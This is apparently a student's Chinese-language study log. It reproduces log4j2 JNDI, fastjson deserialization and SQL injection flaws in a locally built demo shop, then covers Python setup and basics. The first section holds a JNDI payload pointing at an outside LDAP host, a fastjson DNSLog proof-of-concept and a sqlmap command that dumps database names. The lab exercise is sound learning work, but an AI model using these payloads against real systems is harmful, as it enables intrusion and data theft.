1、搭建迷你天猫商城系统并复现log4j2 、fastjson命令执行、sql注入漏洞
搭建迷你天猫商城
-
下载源码
-
配置数据库(5.7.26)
- 将数据库文件导入,,修改 application.properties中 的数据库账号密码
- 当数据库版本 > 5.7 时会报
GROUP BY
语句的错误,所以还需要修改 MySQL 5.7.26 的配置文件,在配置文件中新加一项sql_mode=STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_ENGINE_SUBSTITUTION
-
尝试登录后台 http://localhost:8081/tmall/admin ,账号密码为 admin/123456
复现 log4j2(2.14.1)漏洞
-
寻找漏洞触发点。全局搜索关键字
logger.info
-
分析文件内容,双击进入该代码文件,发现
originalFileName
变量可控,存在log4j2漏洞 -
找到漏洞利用点
创建test用户,找到头像上传功能点抓包修改
filename
参数,使用构造的 JNDI注入 payload:${jndi:ldap://10.0.0.1:1389/6n7gls}
发包漏洞复现成功
复现 fastjson命令执行(1.2.24)漏洞
-
寻找漏洞触发点,搜索关键字
JSON.parse
和JSON.parseObject
-
分析文件内容,双击进入该代码文件,发现使用
JSON.parseObject()
方法反序列化了orderItemMap
参数,orderItemMap
变量可控,存在fastjson命令执行漏洞 -
找到漏洞利用点
使用注册的test账号,发现触发漏洞的位置位于用户购物车多商品结算的时候触发的请求
-
漏洞复现
-
访问在线DNSlog地址,点击获取一个子域名
-
构造漏洞验证POC:
{"@type":"java.net.Inet4Address","val":"to9n7d.dnslog.cn"}
-
抓包修改
orderItemMap
参数后,发包 -
再次访问DNSLog地址,点击 Refresh Record ,看到获取到回显信息即漏洞利用成功
-
复现 sql注入漏洞
-
寻找漏洞触发点,项目使用了Mybatis来定义SQL即全局搜索关键字
${
-
审计代码
-
双击进入 UserMapper.xml 文件,第70行存在问题。向上追踪,发现是来自于
com.xq.tmall.dao.UserMapper
文件 -
进入 UserMapper 文件,可以看到select函数中存在
orderUitl
参数,继续追踪,看看参数值从何而来 -
选中
select
函数,按住 ctrl + alt +H 查看它的调用方法 -
跟踪
getList
发现使用了orderUtil
参数,继续跟踪 -
可以看到 UserController.java 使用了该方法。文件里实例化
OrderUitl
工具类,该类需要两个参数orderBy
和isDesc
,继续追踪orderBy
从何而来 -
发现是通过
admin/user/{index}/{count}
接口传过来的,且orderBy
参数可控,存在sql注入漏洞。通过注释可以看出来该接口用于按条件查询用户
-
-
找到漏洞利用点
-
发现用户管理翻页查询会向该接口发送请求数据包
-
抓到含有
orderBy
字段的数据包,赋值为1构造poc文件,取名为1.txt
-
-
使用SQLMap扫描
python sqlmap.py -r 1.txt --batch --dbs
可以看到sql注入漏洞复现成功,成功拿到所有数据库名
2、安装python解释器并配置vscode 进行python开发和调试
-
安裝python解释器
-
从Python的官方网站下载Python 3对应的安装程序,特别要注意勾上
Add Python 3.x to PATH
,然后点“Install Now”即可完成安装。 -
运行 python 出现如下图所示即安装成功
-
-
配置 vscode
-
vscode 打开 test 文件夹创建名为
1.py
的python文件,输入测试代码print('hello, world')
-
点击右下角识别的 python 版本,点击【创建虚拟环境】> 【Venv】> 安装路径选择全局即可
-
安装成功后运行代码,如下图所示:
-
-
python开发和调试
-
需要vscode里安装如下插件 :Python ,Python Debugger
-
在终端新建powershell窗口,可以看到powershell已被激活;尝试安装 requests包
pip install requests
成功安装
-
来到运行调试模块,对 1.py 进行运行和调试,第一行下断点,点击【运行和调试】> 【Python Debugger】> 【对Python文件】
可以看到成功停到了断点处,调试成功。
-
3、复习python基础语法,包括数据类型、函数、模块等知识
-
数据类型:
-
整数
-
浮点数(小数)
-
字符串(单引号
'
或双引号"
括起来的任意文本) -
布尔值:True/False(支持
and
/or
/not
运算) -
空值(None表示不等于0)
-
变量:动态类型,无需声明类型,命名规则(字母、数字和
_
的组合,且不能用数字开头) -
常量:不能变的变量。
-
-
函数
-
定义函数:使用 def 语句,依次写出函数名、括号、括号中的参数和冒号 : ,然后,在缩进块中编写函数体,函数的返回值用 return 语句返回。
以自定义一个求绝对值的 my_abs 函数为例:
def my_abs(x):if x >= 0:return xelse:return -x print(my_abs(-99))
-
参数类型
- 位置参数:
def func(a, b)
- 默认参数:
def func(a=1)
- 可变参数:
def func(*args)
(接收元组) - 关键字参数:
def func(**kwargs)
(接收字典)
- 位置参数:
-
-
模块
概述:为了编写可维护的代码,把很多函数分组,分别放到不同的文件里;在Python中,这些
.py文件
就称之为模块(Module)-
使用模块 :
import 模块名称
-
第三方模块安装:
pip install 模块名称
-
模块搜索路径
默认情况下,Python解释器会搜索当前目录、所有已安装的内置模块和第三方模块,搜索路径存放在
xxx
模块的path
变量中如果要添加自己搜索目录,有两种方法:
- ⼀是直接修改 xxx.path ,添加要搜索的目录。
- 设置环境变量
PYTHONPATH
扩展搜索路径。
-
4、预习安全开发常用技术
1. Python正则表达式
- 基础语法:
\d
(数字)、\w
(字母/数字/下划线)、.
(任意字符)、*
(0或多个)、+
(1或多个)、?
(0或1次)、{n,m}
(匹配n到m次)。- 特殊字符转义(如
\-
匹配短横线)。
- 进阶功能:
- 分组:用
()
提取子串,如(\d{3})-(\d{3,8})
提取区号和号码。 - 非贪婪匹配:
.*?
避免过度匹配。 - 切分字符串:
re.split()
处理复杂分隔符(如多个空格或逗号)。
- 分组:用
- 编译优化:
re.compile()
预编译正则表达式,提升重复匹配效率。
2. Python网络编程(Requests库)
- 请求方法:GET、POST、PUT、DELETE等。
- 请求参数:
params
:URL查询参数。data
/json
:表单或JSON格式的请求体。headers
:伪装浏览器或携带Token(如User-Agent
、Authorization
)。files
:上传文件。timeout
:设置超时时间(连接+读取)。
- 响应处理:
content
(二进制)、text
(字符串)、json()
(字典)。- 状态码(
status_code
)、响应头(headers
)和Cookies。
- 异常处理:捕获
RequestException
(如连接超时、HTTP错误)。 - 性能优化:
- 多线程:
ThreadPoolExecutor
并发发送请求。 - 复用TCP连接:
Session
对象保持长连接。 - 重试机制:
HTTPAdapter(max_retries=3)
。
- 多线程:
3. Python数据库编程、
- MySQL连接:使用
mysql-connector
或pymysql
库。 - ORM框架(SQLAlchemy):
- 定义模型类(如
Users
表结构)。 - CRUD操作:
session.add()
、session.query()
、session.commit()
。
- 定义模型类(如
- 防SQL注入:使用参数化查询,避免字符串拼接。
4. Python多线程与多进程
- 多线程:
threading.Thread
创建线程。- 锁机制:
Lock
解决资源竞争问题。 - GIL限制:CPU密集型任务推荐多进程。
- 多进程:
multiprocessing.Process
创建进程。- 进程池:
Pool
批量管理子进程。 - 进程间通信:
Queue
传递数据。
- 异步并发:
concurrent.futures
统一线程池/进程池接口。